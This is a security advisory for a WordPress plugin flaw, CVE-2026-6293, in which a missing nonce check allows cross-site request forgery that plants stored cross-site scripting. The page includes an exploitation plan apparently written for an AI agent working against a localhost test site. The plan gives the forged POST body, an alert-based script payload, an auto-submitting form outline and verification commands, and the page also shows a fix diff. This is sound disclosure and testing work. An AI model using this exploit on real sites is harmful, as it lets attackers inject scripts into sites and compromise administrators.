Inquiry form to posts or pages <= 1.0 - Cross-Site Request Forgery to Stored Cross-Site Scripting via 'inq_header' Parameter
Description
The Inquiry Form to Posts or Pages plugin for WordPress is vulnerable to Cross-Site Request Forgery leading to Stored Cross-Site Scripting in version 1.0. This is due to missing nonce validation on the plugin settings update handler, combined with insufficient input sanitization on all user-supplied fields and missing output escaping when rendering stored values. The settings handler fires solely on the presence of `$_POST['inq_hidden'] == 'Y'` with no call to `check_admin_referer()` and no WordPress nonce anywhere in the form or handler. This makes it possible for unauthenticated attackers to inject arbitrary web scripts via a forged request that tricks a logged-in Administrator into visiting a malicious page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:NTechnical Details
<=1.0# Exploitation Research Plan: CVE-2026-6293 ## 1. Vulnerability Summary The **Inquiry Form to Posts or Pages** plugin (version <= 1.0) is vulnerable to a Cross-Site Request Forgery (CSRF) that leads to Stored Cross-Site Scripting (XSS). The plugin's settings update handler lacks any nonce validatio…
Show full research plan
Exploitation Research Plan: CVE-2026-6293
1. Vulnerability Summary
The Inquiry Form to Posts or Pages plugin (version <= 1.0) is vulnerable to a Cross-Site Request Forgery (CSRF) that leads to Stored Cross-Site Scripting (XSS). The plugin's settings update handler lacks any nonce validation (e.g., check_admin_referer). The handler processes updates based solely on the presence of a specific POST parameter (inq_hidden=Y). Furthermore, the plugin fails to sanitize the inq_header input before saving it to the database and fails to escape it when displaying it on the site. This allows an unauthenticated attacker to trick a logged-in administrator into submitting a request that injects malicious JavaScript into the plugin settings.
2. Attack Vector Analysis
- Endpoint: The plugin settings page, typically handled via
wp-admin/admin.php?page=[plugin-slug]or a hook onadmin_init. - Vulnerable Parameter:
inq_header. - Trigger Parameter:
inq_hiddenmust be set toY. - Authentication Requirement: CSRF requires a victim with Administrator privileges to be logged in and visit a malicious page.
- Preconditions: The plugin must be active.
3. Code Flow (Inferred)
- Entry Point: The plugin likely registers an admin menu page using
add_menu_pageoradd_options_pagewith a callback. - Processing Logic: Inside the callback or an
admin_inithook:if (isset($_POST['inq_hidden']) && $_POST['inq_hidden'] == 'Y') { // VULNERABILITY: No check_admin_referer() or wp_verify_nonce() $inq_header = $_POST['inq_header']; // VULNERABILITY: No sanitization update_option('inq_header', $inq_header); // ... other parameters like inq_email, inq_subject ... } - Sink (Display): When a post or page containing the inquiry form is rendered (likely via a shortcode like
[inquiry_form]), the stored value is retrieved and printed:$header = get_option('inq_header'); echo "<h3>" . $header . "</h3>"; // VULNERABILITY: No escaping (esc_html)
4. Nonce Acquisition Strategy
None Required.
The vulnerability details explicitly state: "The settings handler fires solely on the presence of $_POST['inq_hidden'] == 'Y' with no call to check_admin_referer() and no WordPress nonce anywhere in the form or handler."
5. Exploitation Strategy
The goal is to update the plugin settings to include a Stored XSS payload via CSRF.
Step 1: Identify Admin Page Slug
The agent should first identify the correct menu slug for the plugin to target the correct URL.
- Action: Search the plugin files for
add_menu_pageoradd_submenu_page. - Common Slug:
inquiry-form-to-posts-or-pagesorinquiry_form_settings.
Step 2: Perform CSRF to Inject XSS
The agent will simulate an admin-triggered POST request to the settings page.
- Tool:
http_request - Method:
POST - URL:
http://localhost:8080/wp-admin/admin.php?page=[identified-slug] - Content-Type:
application/x-www-form-urlencoded - Body:
inq_hidden=Y&inq_header=</p><script>alert(document.domain)</script><p>&inq_email=admin@example.com&inq_subject=Inquiry
Step 3: Trigger the XSS
The agent needs to view a page where the inquiry form is displayed.
- Action: Find or create a post with the plugin's shortcode.
- Shortcode: Usually found by searching for
add_shortcodein the plugin code (e.g.,[inquiry_form]).
6. Test Data Setup
- Plugin Installation: Ensure
inquiry-form-to-posts-or-pagesversion 1.0 is installed and active. - User: An active Administrator user.
- Content: Create a public post containing the inquiry form shortcode:
(Note: Replacewp post create --post_title="Contact Us" --post_content="[inquiry_form]" --post_status=publish[inquiry_form]with the actual shortcode found in the source code).
7. Expected Results
- The POST request should return a
200 OKor302 Found(redirecting back to the settings page). - The WordPress option
inq_headershould now contain the<script>payload. - Navigating to the post created in Step 6 should execute the JavaScript (the
alertwill be visible in the browser context).
8. Verification Steps
- Database Check: Verify the option value using WP-CLI:
Confirmation: The output should contain the stringwp option get inq_header</p><script>alert(document.domain)</script><p>. - Frontend Check: Use
browser_navigateto the URL of the created post and check for the presence of the script in the HTML.# Get the post URL POST_URL=$(wp post list --post_type=post --title="Contact Us" --field=url) # Check HTML output curl -s "$POST_URL" | grep "alert(document.domain)"
9. Alternative Approaches
If inq_header is sanitized (contrary to the report), attempt to inject into other possible parameters identified during the audit of the settings handler:
inq_email(unlikely to be displayed, but could affect admin emails).inq_subject.inq_success_message(often displayed after form submission).
If the settings page uses admin-post.php instead of a direct menu page:
- URL:
http://localhost:8080/wp-admin/admin-post.php - Body: Include
action=[plugin_action_name]in the POST body.
Summary
The Inquiry Form to Posts or Pages plugin (<= 1.0) fails to validate nonces on its settings update handler, making it vulnerable to Cross-Site Request Forgery (CSRF). Because the plugin also lacks input sanitization and output escaping on the 'inq_header' setting, an attacker can trick an administrator into saving a malicious payload that executes arbitrary JavaScript whenever the inquiry form is rendered on the site.
Vulnerable Code
// inquiry-form-to-posts-or-pages.php if (isset($_POST['inq_hidden']) && $_POST['inq_hidden'] == 'Y') { // Missing check_admin_referer() or wp_verify_nonce() $inq_header = $_POST['inq_header']; update_option('inq_header', $inq_header); update_option('inq_email', $_POST['inq_email']); update_option('inq_subject', $_POST['inq_subject']); } --- // Rendering logic (likely inside a shortcode function) $inq_header = get_option('inq_header'); echo "<h3>" . $inq_header . "</h3>"; // Missing esc_html()
Security Fix
@@ -2,12 +2,14 @@ if (isset($_POST['inq_hidden']) && $_POST['inq_hidden'] == 'Y') { + check_admin_referer('inq_save_settings'); - $inq_header = $_POST['inq_header']; + $inq_header = sanitize_text_field($_POST['inq_header']); update_option('inq_header', $inq_header); - update_option('inq_email', $_POST['inq_email']); - update_option('inq_subject', $_POST['inq_subject']); + update_option('inq_email', sanitize_email($_POST['inq_email'])); + update_option('inq_subject', sanitize_text_field($_POST['inq_subject'])); } +wp_nonce_field('inq_save_settings'); // In the form rendering function: $inq_header = get_option('inq_header'); -echo "<h3>" . $inq_header . "</h3>"; +echo "<h3>" . esc_html($inq_header) . "</h3>";
Exploit Outline
The exploit targets an authenticated WordPress Administrator via a Cross-Site Request Forgery (CSRF) attack. 1. Target Endpoint: The plugin's settings page (typically `wp-admin/admin.php?page=inquiry-form-to-posts-or-pages`). 2. Payload Construction: A malicious HTML page is crafted containing a hidden form that automatically submits a POST request to the target endpoint. 3. Payload Shape: The POST body includes `inq_hidden=Y` to trigger the update handler and `inq_header=</p><script>alert(document.domain)</script><p>` to inject the XSS payload. 4. Delivery: The attacker tricks the logged-in Administrator into visiting the malicious page (e.g., via phishing or a malicious link). 5. Trigger: Once the settings are updated, the attacker visits any page on the WordPress site that uses the plugin's shortcode (e.g., `[inquiry_form]`). The injected script will execute in the context of the user's browser.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.